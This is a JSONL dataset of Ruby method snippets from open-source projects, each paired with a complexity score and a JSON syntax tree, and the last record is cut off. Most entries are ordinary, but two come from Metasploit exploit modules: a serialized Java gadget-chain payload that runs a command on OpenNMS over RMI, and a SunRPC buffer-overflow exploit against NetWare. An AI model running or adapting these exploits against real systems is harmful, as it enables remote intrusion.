{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":95,"raw_source":"def position_for_line_code(code)\n        line = line_for_line_code(code)\n        position(line) if line\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"position_for_line_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[null,\"line_for_line_code\",{\"type\":\"lvar\",\"children\":[\"code\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},{\"type\":\"send\",\"children\":[null,\"position\",{\"type\":\"lvar\",\"children\":[\"line\"]}]},null]}]}]}","id":"6497525b-a6dd-476b-a63c-56ffe3ea028d"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/streaming_spec.rb","start_line":201,"raw_source":"def call(env)\n          status, headers, body = @app.call(env)\n          [status, headers, body.each.map(&:upcase)]\n        end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"headers\"]},{\"type\":\"lvasgn\",\"children\":[\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},{\"type\":\"lvar\",\"children\":[\"headers\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"each\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"upcase\"]}]}]}]}]}]}","id":"a2c81d9d-4fd4-4e45-9f45-59198582cd3b"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/exports/pdf/common/attachments.rb","start_line":81,"raw_source":"def convert_gif_to_png(filename)\n    tmp_file = temp_image_file(\".png\")\n\n    image = MiniMagick::Image.open(filename)\n    image.frames.first.write(tmp_file)\n    tmp_file\n  end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_gif_to_png\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tmp_file\",{\"type\":\"send\",\"children\":[null,\"temp_image_file\",{\"type\":\"str\",\"children\":[\".png\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"image\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MiniMagick\"]},\"Image\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"filename\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"image\"]},\"frames\"]},\"first\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]},{\"type\":\"lvar\",\"children\":[\"tmp_file\"]}]}]}","id":"f0a4f446-d08c-457f-8707-2090f9727552"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/misc/opennms_java_serialize.rb","start_line":53,"raw_source":"def exec_command(cmd)\n    vprint_status(\"#{peer} - Downloading the file #{cmd}\")\n\n    # Do the exploit command bit\n    data1 = \"\\x4a\\x52\\x4d\\x49\\x00\\x02\\x4b\"\n    data2 = \"\\x00\\x09\\x31\\x32\\x37\\x2E\\x30\\x2E\\x31\\x2E\\x31\\x00\\x00\\x00\\x00\\x50\\xAC\\xED\\x00\\x05\\x77\\x22\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x44\\x15\\x4D\\xC9\\xD4\\xE6\\x3B\\xDF\\x74\\x00\\x05\\x70\\x77\\x6E\\x65\\x64\\x73\\x7D\\x00\\x00\\x00\\x01\\x00\\x0F\\x6A\\x61\\x76\\x61\\x2E\\x72\\x6D\\x69\\x2E\\x52\\x65\\x6D\\x6F\\x74\\x65\\x70\\x78\\x72\\x00\\x17\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2E\\x50\\x72\\x6F\\x78\\x79\\xE1\\x27\\xDA\\x20\\xCC\\x10\\x43\\xCB\\x02\\x00\\x01\\x4C\\x00\\x01\\x68\\x74\\x00\\x25\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2F\\x49\\x6E\\x76\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x32\\x73\\x75\\x6E\\x2E\\x72\\x65\\x66\\x6C\\x65\\x63\\x74\\x2E\\x61\\x6E\\x6E\\x6F\\x74\\x61\\x74\\x69\\x6F\\x6E\\x2E\\x41\\x6E\\x6E\\x6F\\x74\\x61\\x74\\x69\\x6F\\x6E\\x49\\x6E\\x76\\x6F\\x63\\x61\\x74\\x69\\x6F\\x6E\\x48\\x61\\x6E\\x64\\x6C\\x65\\x72\\x55\\xCA\\xF5\\x0F\\x15\\xCB\\x7E\\xA5\\x02\\x00\\x02\\x4C\\x00\\x0C\\x6D\\x65\\x6D\\x62\\x65\\x72\\x56\\x61\\x6C\\x75\\x65\\x73\\x74\\x00\\x0F\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x75\\x74\\x69\\x6C\\x2F\\x4D\\x61\\x70\\x3B\\x4C\\x00\\x04\\x74\\x79\\x70\\x65\\x74\\x00\\x11\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x43\\x6C\\x61\\x73\\x73\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x11\\x6A\\x61\\x76\\x61\\x2E\\x75\\x74\\x69\\x6C\\x2E\\x48\\x61\\x73\\x68\\x4D\\x61\\x70\\x05\\x07\\xDA\\xC1\\xC3\\x16\\x60\\xD1\\x03\\x00\\x02\\x46\\x00\\x0A\\x6C\\x6F\\x61\\x64\\x46\\x61\\x63\\x74\\x6F\\x72\\x49\\x00\\x09\\x74\\x68\\x72\\x65\\x73\\x68\\x6F\\x6C\\x64\\x70\\x78\\x70\\x3F\\x40\\x00\\x00\\x00\\x00\\x00\\x0C\\x77\\x08\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x01\\x71\\x00\\x7E\\x00\\x00\\x73\\x71\\x00\\x7E\\x00\\x05\\x73\\x7D\\x00\\x00\\x00\\x01\\x00\\x0D\\x6A\\x61\\x76\\x61\\x2E\\x75\\x74\\x69\\x6C\\x2E\\x4D\\x61\\x70\\x70\\x78\\x71\\x00\\x7E\\x00\\x02\\x73\\x71\\x00\\x7E\\x00\\x05\\x73\\x72\\x00\\x2A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x6D\\x61\\x70\\x2E\\x4C\\x61\\x7A\\x79\\x4D\\x61\\x70\\x6E\\xE5\\x94\\x82\\x9E\\x79\\x10\\x94\\x03\\x00\\x01\\x4C\\x00\\x07\\x66\\x61\\x63\\x74\\x6F\\x72\\x79\\x74\\x00\\x2C\\x4C\\x6F\\x72\\x67\\x2F\\x61\\x70\\x61\\x63\\x68\\x65\\x2F\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2F\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2F\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\x70\\x78\\x70\\x73\\x72\\x00\\x3A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x43\\x68\\x61\\x69\\x6E\\x65\\x64\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x30\\xC7\\x97\\xEC\\x28\\x7A\\x97\\x04\\x02\\x00\\x01\\x5B\\x00\\x0D\\x69\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x73\\x74\\x00\\x2D\\x5B\\x4C\\x6F\\x72\\x67\\x2F\\x61\\x70\\x61\\x63\\x68\\x65\\x2F\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2F\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2F\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\x70\\x78\\x70\\x75\\x72\\x00\\x2D\\x5B\\x4C\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x3B\\xBD\\x56\\x2A\\xF1\\xD8\\x34\\x18\\x99\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x05\\x73\\x72\\x00\\x3B\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x43\\x6F\\x6E\\x73\\x74\\x61\\x6E\\x74\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x58\\x76\\x90\\x11\\x41\\x02\\xB1\\x94\\x02\\x00\\x01\\x4C\\x00\\x09\\x69\\x43\\x6F\\x6E\\x73\\x74\\x61\\x6E\\x74\\x74\\x00\\x12\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x70\\x78\\x70\\x76\\x72\\x00\\x11\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x52\\x75\\x6E\\x74\\x69\\x6D\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x73\\x72\\x00\\x3A\\x6F\\x72\\x67\\x2E\\x61\\x70\\x61\\x63\\x68\\x65\\x2E\\x63\\x6F\\x6D\\x6D\\x6F\\x6E\\x73\\x2E\\x63\\x6F\\x6C\\x6C\\x65\\x63\\x74\\x69\\x6F\\x6E\\x73\\x2E\\x66\\x75\\x6E\\x63\\x74\\x6F\\x72\\x73\\x2E\\x49\\x6E\\x76\\x6F\\x6B\\x65\\x72\\x54\\x72\\x61\\x6E\\x73\\x66\\x6F\\x72\\x6D\\x65\\x72\\x87\\xE8\\xFF\\x6B\\x7B\\x7C\\xCE\\x38\\x02\\x00\\x03\\x5B\\x00\\x05\\x69\\x41\\x72\\x67\\x73\\x74\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x4C\\x00\\x0B\\x69\\x4D\\x65\\x74\\x68\\x6F\\x64\\x4E\\x61\\x6D\\x65\\x74\\x00\\x12\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x53\\x74\\x72\\x69\\x6E\\x67\\x3B\\x5B\\x00\\x0B\\x69\\x50\\x61\\x72\\x61\\x6D\\x54\\x79\\x70\\x65\\x73\\x74\\x00\\x12\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2F\\x6C\\x61\\x6E\\x67\\x2F\\x43\\x6C\\x61\\x73\\x73\\x3B\\x70\\x78\\x70\\x75\\x72\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x3B\\x90\\xCE\\x58\\x9F\\x10\\x73\\x29\\x6C\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x02\\x74\\x00\\x0A\\x67\\x65\\x74\\x52\\x75\\x6E\\x74\\x69\\x6D\\x65\\x75\\x72\\x00\\x12\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x43\\x6C\\x61\\x73\\x73\\x3B\\xAB\\x16\\xD7\\xAE\\xCB\\xCD\\x5A\\x99\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x00\\x74\\x00\\x09\\x67\\x65\\x74\\x4D\\x65\\x74\\x68\\x6F\\x64\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x53\\x74\\x72\\x69\\x6E\\x67\\xA0\\xF0\\xA4\\x38\\x7A\\x3B\\xB3\\x42\\x02\\x00\\x00\\x70\\x78\\x70\\x76\\x71\\x00\\x7E\\x00\\x24\\x73\\x71\\x00\\x7E\\x00\\x1C\\x75\\x71\\x00\\x7E\\x00\\x21\\x00\\x00\\x00\\x02\\x70\\x75\\x71\\x00\\x7E\\x00\\x21\\x00\\x00\\x00\\x00\\x74\\x00\\x06\\x69\\x6E\\x76\\x6F\\x6B\\x65\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x02\\x76\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x62\\x6A\\x65\\x63\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x76\\x71\\x00\\x7E\\x00\\x21\\x73\\x71\\x00\\x7E\\x00\\x1C\\x75\\x72\\x00\\x13\\x5B\\x4C\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x53\\x74\\x72\\x69\\x6E\\x67\\x3B\\xAD\\xD2\\x56\\xE7\\xE9\\x1D\\x7B\\x47\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x01\\x74\\x00\"\n    data2 += cmd.length.chr\n    data2 += cmd\n    data2 += \"\\x74\\x00\\x04\\x65\\x78\\x65\\x63\\x75\\x71\\x00\\x7E\\x00\\x24\\x00\\x00\\x00\\x01\\x71\\x00\\x7E\\x00\\x29\\x73\\x71\\x00\\x7E\\x00\\x17\\x73\\x72\\x00\\x11\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x49\\x6E\\x74\\x65\\x67\\x65\\x72\\x12\\xE2\\xA0\\xA4\\xF7\\x81\\x87\\x38\\x02\\x00\\x01\\x49\\x00\\x05\\x76\\x61\\x6C\\x75\\x65\\x70\\x78\\x72\\x00\\x10\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4E\\x75\\x6D\\x62\\x65\\x72\\x86\\xAC\\x95\\x1D\\x0B\\x94\\xE0\\x8B\\x02\\x00\\x00\\x70\\x78\\x70\\x00\\x00\\x00\\x01\\x73\\x71\\x00\\x7E\\x00\\x09\\x3F\\x40\\x00\\x00\\x00\\x00\\x00\\x10\\x77\\x08\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x78\\x78\\x76\\x72\\x00\\x12\\x6A\\x61\\x76\\x61\\x2E\\x6C\\x61\\x6E\\x67\\x2E\\x4F\\x76\\x65\\x72\\x72\\x69\\x64\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x70\\x78\\x70\\x71\\x00\\x7E\\x00\\x3F\\x78\\x71\\x00\\x7E\\x00\\x3F\"\n\n    begin\n      connect\n      sock.put(data1)\n\n      # Wait for a successful response\n      data = recv_protocol_ack # rescue nil\n      unless data\n        fail_with(Failure::Unknown, \"This system has not responded with the correct RMI header\")\n      end\n\n      # Send the RMI payload\n      sock.put(data2)\n\n      # Disconnect\n      disconnect\n    rescue ::Rex::ConnectionError\n      fail_with(Failure::Unreachable, \"#{peer} - Failed to connect to the host\")\n    end\n  end","complexity_score":28.7,"ast_json":"{\"type\":\"def\",\"children\":[\"exec_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[null,\"recv_protocol_ack\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"This system has not responded with the correct RMI header\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"data2\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unreachable\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Failed to connect to the host\"]}]}]}]},null]}]}]}","id":"5449643f-ec07-444c-9ff1-6a613dd15fec"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/test/server_test.rb","start_line":16,"raw_source":"def self.run(app, options={})\n      assert(app < Sinatra::Base)\n      assert_equal 9001, options[:Port]\n      assert_equal 'foo.local', options[:Host]\n      yield new\n    end","complexity_score":9.9,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"app\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"app\"]},\"<\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sinatra\"]},\"Base\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[9001]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Port\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"foo.local\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"Host\"]}]}]},{\"type\":\"yield\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\"]}]}]}]}","id":"6d939bd9-bdb8-41e3-aa58-55bb2148340e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/memory/reports_daemon.rb","start_line":48,"raw_source":"def interval_with_jitter\n        sleep_s + rand(sleep_max_delta_s)\n      end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"interval_with_jitter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sleep_s\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"send\",\"children\":[null,\"sleep_max_delta_s\"]}]}]}]}","id":"c2c8d28c-c1be-453c-80cf-95cc6692bc24"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/abstract_mysql_adapter/connection_test.rb","start_line":34,"raw_source":"def test_no_automatic_reconnection_after_timeout\n    assert_predicate @connection, :active?\n    cause_server_side_disconnect\n    assert_not_predicate @connection, :active?\n  ensure\n    # Repair all fixture connections so other tests won't break.\n    @fixture_connection_pools.each { |p| p.lease_connection.verify! }\n  end","complexity_score":7.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_no_automatic_reconnection_after_timeout\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"active?\"]}]},{\"type\":\"send\",\"children\":[null,\"cause_server_side_disconnect\"]},{\"type\":\"send\",\"children\":[null,\"assert_not_predicate\",{\"type\":\"ivar\",\"children\":[\"@connection\"]},{\"type\":\"sym\",\"children\":[\"active?\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@fixture_connection_pools\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"lease_connection\"]},\"verify!\"]}]}]}]}","id":"304f9c09-f4cc-47f4-b66d-b15bc5da0536"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/spec/workers/cost_query/pdf/timesheet_generator_spec.rb","start_line":98,"raw_source":"def expected_cover_page\n    [\"OpenProject\", query.name,\n     time_entries.empty? ? nil : \"#{format_date(time_entries.first.spent_on)} - #{format_date(time_entries.last.spent_on)}\",\n     user.name, export_time_formatted].compact\n  end","complexity_score":24.0,"ast_json":"{\"type\":\"def\",\"children\":[\"expected_cover_page\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OpenProject\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"query\"]},\"name\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entries\"]},\"empty?\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entries\"]},\"first\"]},\"spent_on\"]}]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"format_date\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"time_entries\"]},\"last\"]},\"spent_on\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user\"]},\"name\"]},{\"type\":\"send\",\"children\":[null,\"export_time_formatted\"]}]},\"compact\"]}]}","id":"2c30852a-5201-466a-acd5-a3f077509413"}
{"repo_name":"forem","file_path":"./repos/forem/vendor/cache/acts_as_follower-06393d3693a1/lib/acts_as_follower.rb","start_line":14,"raw_source":"def self.method_missing(method_name, *args, &block)\n    if method_name == :custom_parent_classes=\n      ActiveSupport::Deprecation.warn(\"Setting custom parent classes is deprecated and will be removed in future versions.\")\n    end\n    @configuration.respond_to?(method_name) ?\n        @configuration.send(method_name, *args, &block) : super\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"method_missing\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"method_name\"]},{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method_name\"]},\"==\",{\"type\":\"sym\",\"children\":[\"custom_parent_classes=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Deprecation\"]},\"warn\",{\"type\":\"str\",\"children\":[\"Setting custom parent classes is deprecated and will be removed in future versions.\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configuration\"]},\"respond_to?\",{\"type\":\"lvar\",\"children\":[\"method_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@configuration\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"method_name\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}]}","id":"ed2be012-f7e1-4646-a28f-2aaa0b9a3667"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/netware/sunrpc/pkernel_callit.rb","start_line":60,"raw_source":"def exploit\n    connect_udp\n\n    buf = [rand(0xffffffff)].pack('N') # XID\n    buf << [0].pack('N')                # Message Type: Call (0)\n    buf << [2].pack('N')                # RPC Version: 2\n    buf << [100000].pack('N')           # Program: Portmap (100000)\n    buf << [2].pack('N')                # Program Version: 2\n    buf << [5].pack('N')                # Procedure: CALLIT (5)\n    buf << [0].pack('N')                # Credentials AUTH_NULL (0)\n    buf << [0].pack('N')                # Length: 0\n    buf << [0].pack('N')                # Verifier AUTH_NULL (0)\n    buf << [0].pack('N')                # Length: 0\n    buf << [0].pack('N')                # Program: Unknown (0)\n    buf << [1].pack('N')                # Version: 1\n    buf << [1].pack('N')                # Procedure: proc-1 (1)\n    buf << [4097].pack('N')             # Arguments: <DATA> length: 4097\n\n    buf << make_nops(2072)              # fill to ret\n    buf << [target.ret].pack('V')       # addr. of push esp - ret\n    buf << payload.encoded              #\n\n    # print_status(\"payload space #{payload_space()}...\")\n    # print_status(\"payload len #{payload.encoded.length}...\")\n    # print_status(\"total buf len #{buf.length}...\")\n\n    print_status(\"Trying target #{target.name}...\")\n\n    udp_sock.put(buf)\n    handler\n    disconnect_udp\n  end","complexity_score":54.75,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connect_udp\"]},{\"type\":\"lvasgn\",\"children\":[\"buf\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[4294967295]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[100000]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]}]},\"pack\",{\"type\":\"str\",\"children\":[\"N\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{